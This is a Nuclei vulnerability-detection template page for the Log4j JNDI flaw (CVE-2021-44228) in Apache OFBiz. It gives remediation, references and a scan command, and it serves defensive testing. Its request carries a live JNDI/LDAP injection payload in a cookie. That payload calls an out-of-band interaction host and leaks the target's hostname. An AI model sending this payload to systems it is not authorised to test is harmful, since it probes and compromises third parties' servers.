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Apache OFBiz - JNDI Remote Code Execution (Apache Log4j)

ID: apache-ofbiz-log4j-rce

Severity: critical

Author: pdteam

Tags: cve,cve2021,ofbiz,oast,log4j,rce,apache,jndi,kev

Description

Section titled “Description”

Apache OFBiz is affected by a remote code execution vulnerability in the bundled Apache Log4j logging library. Apache Log4j is vulnerable due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request, to execute arbitrary code with the permission level of the running Java process.

YAML Source

Section titled “YAML Source”
id: apache-ofbiz-log4j-rce


info:
  name: Apache OFBiz - JNDI Remote Code Execution (Apache Log4j)
  author: pdteam
  severity: critical
  description: |
    Apache OFBiz is affected by a remote code execution vulnerability in the bundled Apache Log4j logging library. Apache Log4j is vulnerable due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request, to execute arbitrary code with the permission level of the running Java process.
  remediation: Upgrade to Apache OFBiz version 8.12.03 or later.
  reference:
    - https://issues.apache.org/jira/browse/OFBIZ-12449
    - https://ofbiz.apache.org/
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.html:"Apache OFBiz"
    product: ofbiz
    vendor: apache
  tags: cve,cve2021,ofbiz,oast,log4j,rce,apache,jndi,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - raw:
      - |
        GET /webtools/control/main HTTP/1.1
        Host: {{Hostname}}
        Cookie: OFBiz.Visitor=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookie.{{interactsh-url}}}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022100ea7e5c49a49c206eb5aa713deb1ae88bc96cf5b6079b1093e83a6628bb0dd61102201f287ec9425f7b954b7b482db9de51a142c4aade968f864f8b5fcfb062be723d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/apache/apache-ofbiz-log4j-rce.yaml"

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